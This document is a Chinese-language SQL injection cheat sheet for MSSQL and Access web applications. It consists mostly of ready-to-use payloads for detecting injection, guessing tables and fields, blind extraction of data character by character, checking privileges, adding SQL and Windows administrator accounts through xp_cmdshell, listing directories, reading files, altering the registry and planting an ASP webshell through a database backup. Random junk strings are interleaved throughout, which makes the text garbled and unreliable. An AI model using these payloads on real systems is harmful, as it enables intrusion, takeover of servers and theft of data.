1.判断是否有注入;and 1=1 ;and 1=2 NXE1v~9V
2.初步判断是否是mssql ;and user>0 Ujly\ix`
okW'}@jD
3.注入参数是字符'and [查询条件] and ''=' Pb :6nH=
NL ceBok
4.搜索时没过滤参数的'and [查询条件] and '%25'=' G~4|]^`g
ht5:kt`F
5.判断数据库系统 7nPm{=BG
wi:d!,P`e
;and (select count(*) from sysobjects)>0 mssql Rk{2ZUeg
#|e5i9l*B
;and (select count(*) from msysobjects)>0 access pq5bK0NQ
rHtX4;f+><
+d6Jrd*
sy9Yd PPE
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Au?(_*/0
Yr:$)ap
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 *-_joAWTG
_lk5\bu
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Qc:Sf46O
a@gm r%C
9.(1)猜字段的ascii值(access) 7.v{ =UP
~H gN'#Y?
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
ZW8;?#_
DZ;2aH
(2)猜字段的ascii值(mssql) (WS<6j[q
SYK?5_804
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (pQ$<c
^m^,:]I0P
10.测试权限结构(mssql) O$peCv
S>?B)
*WXqN!:
%u$dN9cw
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Vg"Ze[dA
V P4ToYc
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- i>rsq[l
;
>>/}Jw\
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- L2y{\<JC"
|.U-
yyz
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,%]s:vk[u
0EP8MR SR
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- kI$p~
`_+m3vHG
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- QmB,~x{j>
]G2%VKkr
;and 1=(select IS_MEMBER('db_owner'));-- C}mWX7<Z.
e%DF9}M
~;Xkt G:
I*i$!$Bx2
11.添加mssql和系统的帐户 "LH* T
Fqp~1>wi
;exec master.dbo.sp_addlogin username;-- \A3yM{G~+
;exec master.dbo.sp_password null,username,password;-- 8uhB&qxB
vR\[I V?
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- _b 8XF&O
Hz<)a(r!J
;exec master.dbo.xp_cmdshell 'net user username password g7W\
&
q\5C-f
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- h!>NS ?X7
5B=Wnau
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6MRS0{
./;*LD
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- -Qco4>Z 8
|k9A*7I
s97L/iH
84dej<
12.(1)遍历目录 0<S(zva7([
4.mbW
;create table dirs(paths varchar(100), id int) C(*)7|
m
A,s .<TG
;insert dirs exec master.dbo.xp_dirtree 'c:\' @$'1
T)B1V,2j=
;and (select top 1 paths from dirs)>0 8M'6Kcr
{ e%
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) l+V5dZ8W
eDSBs3k7H
Jid :$T>
#TSLgV'U
(2)遍历目录 W(tXq
0Z{(,GU
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- )p;gm`42oY
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 -0doL^A
;EfMTI}6K
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 KPA5 X]
MXhRnVz"W
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 57b;{kl
VI`x
fmVOQ
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 xX.Ox
Mhw\i&*U
v)2@;Q
bqg\V8h
13.mssql中的存储过程 Kn9,N@bU_
CQ3{'"b
xp_regenumvalues 注册表根键, 子键 5+O#5"v_
4[&6yHJ^
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ",rA
l9.wMs*`X
xp_regread 根键,子键,键值名 ),6Z1 K1
$mOK|=tI_
;exec xp_regread Va/p
~+$l9~`{
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ;mb
6i_
afc?a-~Z
xp_regwrite 根键,子键, 值名, 值类型, 值 7_/.a9$G
Z{n7z$s*
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /bylA`IMW
`"CF/X^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 3-8Vw$u
{UYqRfgbZ
xp_regdeletevalue 根键,子键,值名 uyG4zV\h*
{ersXQ:
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e"|9%AW@<
J:mOg95<
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3)g1e=\i$
X6<HNLgra
;o3
.<"
?t}[Wi}7
14.mssql的backup创建webshell ]yVB66l
T
"G! H
use model m x,X!}
.[Sv|;x"E
create table cmd(str image); *<#&ne8
a}c(#ZLs
insert into cmd(str) values (''); 1
)j%]zd2
&:jE+l
backup database model to disk='c:\l.asp'; nw5#/5xw
t7A.b~#
I"JT3[*s
:WCUHQ+
15.mssql内置函数 w-CuO4P
,_lwT}*w
;and (select @@version)>0 获得Windows的版本号 1=(i{D~
xHr
;and user_name()='dbo' 判断当前系统的连接用户是不是sa h=4{.EegG&
{2:H`|x
;and (select user_name())>0 爆当前系统的连接用户
BW\R
LL6f40hC
;and (select db_name())>0 得到当前连接的数据库 esu6iU@
&GD7ldck
oG*lUh}
Iwn@%?7
16.简洁的webshell MB |(,{S
wc,y+C#V
use model MA-$aN_(
ga~vQ7I_
create table cmd(str image); Zz3#Kt5t3
mifYk>J^9
insert into cmd(str) values (''); #uXOyiE
x)*/3[
backup database model to disk='g:\wwwtest\l.asp';